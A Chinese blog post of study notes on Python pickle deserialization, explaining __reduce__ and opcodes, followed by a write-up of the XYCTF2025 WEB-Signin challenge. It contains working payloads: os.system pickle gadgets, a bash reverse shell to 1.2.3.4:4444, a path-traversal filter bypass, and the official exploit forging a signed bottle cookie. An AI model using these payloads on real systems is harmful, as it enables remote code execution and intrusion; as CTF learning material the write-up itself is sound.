pickle反序列化

最近的XYCTF又吃了没有好好学反序列化的亏,这下真的真的要好好学反序列化了

基本知识

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

反序列化的安全问题喵!

这是重点喵~

pickle 在反序列化时,会执行其中包含的任意 Python 代码,这就很危险了!

例如下面这个例子中,恶意构造的对象在被 pickle.loads() 时就会执行任意代码:

python


复制编辑
import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # Windows下打开计算器

malicious = pickle.dumps(Evil())
pickle.loads(malicious)  # 恶意代码在这里执行

所以!永远不要对不可信的数据使用 pickle.loads()

CTF和安全中的 pickle 利用

在CTF或漏洞利用里,经常会遇到题目让你构造 pickle 载荷,执行命令或者 RCE(远程代码执行)。

常见方法:

  • 编写带有 __reduce__() 的类;
  • pickletools 分析 payload;
  • 利用 pickle 加上 gadget 链(类似 Java 的反序列化);

还有个好用的库叫 pickletools 可以反汇编 pickle 数据,帮我们分析它做了什么:

python


复制编辑
import pickletools

pickletools.dis(malicious)  # 显示 pickle 字节码执行过程

当你用 pickle.loads() 反序列化一个由别人提供的 pickle 数据时,它可以触发任意类的创建与任意函数的执行
核心点在于:pickle 会调用对象的 __reduce__()__getstate__() 方法来还原对象。

利用的原理(以 __reduce__() 为主)

__reduce__() 的返回值控制了反序列化时执行什么。

格式如下喵:

python


复制编辑
class Evil:
    def __reduce__(self):
        return (callable_obj, args)

当被 pickle.loads() 处理时,相当于执行:

python


复制编辑
callable_obj(*args)

所以,如果你返回:

python


复制编辑
return (os.system, ('id',))  # Linux举例

就会执行 os.system('id'),相当于 RCE 啦!

注意事项

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

实例:getshell

构造 payload:

python


复制编辑
import pickle
import os

class GetShell:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/1.2.3.4/4444 0>&1',))

payload = pickle.dumps(GetShell())

然后你在自己机器上监听:

bash


复制编辑
nc -lvnp 4444

把 payload 发送到靶机,就能反弹 shell 了

[XYCTF2025]WEB-Signin

源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
    with open('../../secret.txt', 'r') as f:
        secret = f.read()
except:
    print("No secret file found, using default secret")
    secret = "secret"
app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

这道题首先是通过目录穿越访问secret.txt获得密钥,直接用./.././.././../绕过过滤得到密钥

Hell0_H@cker_Y0u_A3r_Sm@r7

接下来我就没有思路了,看了wp才知道是反序列化

    def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

这个是bottle框架源码中在鉴权的时候用pickle反序列化了session,所以导致了反序列化的RCE,这里只要签名对的上就能直接进pickle的反序列化

用bottle的cookie_encode生成payload之后拿着这个payload去改session的值,并将请求发送到/secret。随后可以把回显外带(不出网)

官方exp:

from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

exp = cookie_encode(
    ('session', {"name": [Test()]}),
    secret
)

requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

posted @ 2025-04-12 17:46  ALe_#3  阅读(43)  评论(0)    收藏  举报  来源